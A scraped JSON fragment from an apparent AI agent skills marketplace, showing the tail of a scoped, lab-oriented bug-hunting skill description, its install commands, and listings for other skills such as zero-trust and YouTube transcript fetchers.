scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. 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Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-cloud-misconfig","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-cloud-misconfig",{"tool":61,"command":62},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-cloud-misconfig",{"tool":64,"command":65},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-cloud-misconfig","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-cloud-misconfig\u002FSKILL.md",true,[],[70,95,119,142,170,194],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":81,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[76],{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[82,83,84,85,86,87,72,88,89,90,91,31,21,29,92,93,27,26,23,94],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[102,103,104,105,106,107,108,109,110,111,112,113,114,31,115,21,116,117,93,118],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[126,127,128,129,130,131,36,33,132,133,134,135,136,21,29,137,138,139,140,141],"transcript","youtube transcript","youtube","safe","github","codex","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":159,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - 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